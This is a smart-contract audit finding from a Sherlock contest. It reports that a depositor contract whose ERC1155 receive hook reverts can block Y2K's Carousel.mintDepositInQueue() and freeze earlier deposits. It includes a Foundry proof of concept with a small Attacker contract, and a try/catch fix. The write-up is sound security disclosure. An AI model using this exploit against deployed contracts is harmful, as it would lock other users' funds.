joestakey - An attacker can DOS Carousel.mintDepositQueue(), freezing tokens of all the previous deposits.

[sherlock-admin]

joestakey

high

An attacker can DOS Carousel.mintDepositQueue(), freezing tokens of all the previous deposits.

Summary

Due to the ERC1155 hook, Carousel.mintDepositInQueue() can be DOS, which freezes funds of all the previous deposits

Vulnerability Detail

Depositors can deposit at any time using epochId == 0 in deposit(), which transfers underlying tokens from the depositor into the Carousel, then records the deposit in the queue.

File: Earthquake/src/v2/Carousel/Carousel.sol
494: } else {
495:             depositQueue.push(
496:                 QueueItem({assets: _assets, receiver: _receiver, epochId: _id})
497:             );
498: 
499:             emit DepositInQueue(msg.sender, _receiver, _id, _assets);
500:         }

The deposits in the queue are then minted into the next available epoch by a relayer using mintDepositInQueue().

One important thing to note is that the function always handles the last deposit in the queue first, then handling previous deposits afterwards (FILO)

File: Earthquake/src/v2/Carousel/Carousel.sol
330:             uint256 i = length - 1;//@audit length = depositQueue.length
331: while ((length - _operations) <= i) { 
332:             // this loop impelements FILO (first in last out) stack to reduce gas cost and improve code readability
333:             // changing it to FIFO (first in first out) would require more code changes and would be more expensive
334:             _mintShares(
335:                 queue[i].receiver,
336:                 _epochId,
337:                 queue[i].assets - relayerFee
338:             );

_mintShares() mints shares to the depositor, in the form of an ERC1155 token. ERC1155._mint() has a safety hook to ensure the receiver handles this type of tokens:

File: Earthquake/lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol
285: _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
...
467: function _doSafeTransferAcceptanceCheck(
468:         address operator,
469:         address from,
470:         address to,
471:         uint256 id,
472:         uint256 amount,
473:         bytes memory data
474:     ) private {
475:         if (to.isContract()) {
476:             try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
477:                 if (response != IERC1155Receiver.onERC1155Received.selector) {
478:                     revert("ERC1155: ERC1155Receiver rejected tokens");
479:                 }
480:             } catch Error(string memory reason) {
481:                 revert(reason);
482:             } catch {
483:                 revert("ERC1155: transfer to non ERC1155Receiver implementer");
484:             }
485:         }
486:     }

This can be exploited by a depositor to DOS mintDepositQueue(): if the depositor is a smart contract that does not implement onERC1155Received() or revert when called, mintDepositQueue() will revert here.

Impact

mintDepositQueue() is DOSed.
Because it handles deposits in a FILO manner, this does not impact future deposits.

It however blocks all previous deposits from being handled.

This means these previous depositors have essentially lost their underlying tokens, as there is no way for them to retrieve them.

Proof Of Concept

This modification of Carousel.test.t.testDepositInQueue() shows the issue:

+    Attacker attacker;
    function setUp() public {
+        attacker = new Attacker();
        vm.warp(1675884389);

        emissionsToken = address(new MintableToken("EmissionsToken", "etkn"));

        UNDERLYING = address(new MintableToken("UnderLyingToken", "utkn"));

        vault = new Carousel(
                Carousel.ConstructorArgs(
                        false,
                        UNDERLYING,
                        "Vault",
                        "v",
                        "randomURI",
                        TOKEN,
                        STRIKE,
                        controller,
                        TREASURY,
                        emissionsToken,
                        relayerFee,
                        depositFee
                )
        );


        // deal(UNDERLYING, address(this), 100 ether, true);

        deal(UNDERLYING, USER, 1000 ether, true);
        deal(UNDERLYING, USER2, 1000 ether, true);
        deal(UNDERLYING, USER3, 1000 ether, true);
        deal(UNDERLYING, USER4, 1000 ether, true);
        deal(UNDERLYING, USER5, 1000 ether, true);
        deal(UNDERLYING, USER6, 1000 ether, true);
    }

    function testDepositInQueue() public {
        uint40 _epochBegin = uint40(block.timestamp + 1 days);
        uint40 _epochEnd = uint40(block.timestamp + 2 days);
        uint256 _epochId = 1;
        uint256 _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        vm.startPrank(USER);
        IERC20(UNDERLYING).approve(address(vault), 10 ether);
        vault.deposit(0, 10 ether, USER);
        vm.stopPrank();

        uint256 _queueLength = 1;
        assertEq(vault.getDepositQueueLenght(), _queueLength);
        // test revert cases
        // should revert if epochId is 0 as this epoch is not supposed to minted ever
        vm.expectRevert(Carousel.InvalidEpochId.selector);
        vault.mintDepositInQueue(0, _queueLength);
            // @note deprecated test:
            // should revert if operations are not in queue length
            // vm.expectRevert(Carousel.OverflowQueue.selector);
            // vault.mintDepositInQueue(_epochId, 2);
        // should revert if epoch already started
        vm.warp(_epochBegin + 100);
        vm.expectRevert(VaultV2.EpochAlreadyStarted.selector);
        vault.mintDepositInQueue(_epochId, 1);

        vm.warp(_epochBegin - 1 days);
        // should revert if epoch does not exist
        vm.expectRevert(VaultV2.EpochDoesNotExist.selector);
        vault.mintDepositInQueue(3, 1);
        
        vm.startPrank(relayer);
        // setting operations to 5 should still only mint 1 as queue length is 1

+        /*
+        ATTACK BEGINNING
+        */
+        vm.stopPrank();
+        vm.startPrank(USER);
+        IERC20(UNDERLYING).transfer(address(attacker), 10 gwei);
+        attacker.makeDeposit(address(vault));

+        vm.expectRevert("ERC1155: transfer to non ERC1155Receiver implementer");
        vault.mintDepositInQueue(_epochId, 5);
        vm.stopPrank();
+        /*
+        ATTACK ENDED
+        */

Add the Attacker.sol file to the test folder:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "../../src/v2/interfaces/ISemiFungibleVault.sol";

contract Attacker  {

    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        revert();
    }

    function makeDeposit(address _carousel) external payable {
        ISemiFungibleVault(_carousel).asset().approve(_carousel, 10 gwei);
        ISemiFungibleVault(_carousel).deposit(0, 10 gwei, address(this));
    }
}

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L334-L338

Tool used

Manual Review, Foundry

Recommendation

Place the _mintShares() call in a try/catch block, so that one deposit in the queue cannot block others from being processed.
The catch block could write some info about the failed deposit in storage so that the depositor could get their shares in another manner, or could simply transfer the underlying tokens back to them.

Duplicate of #468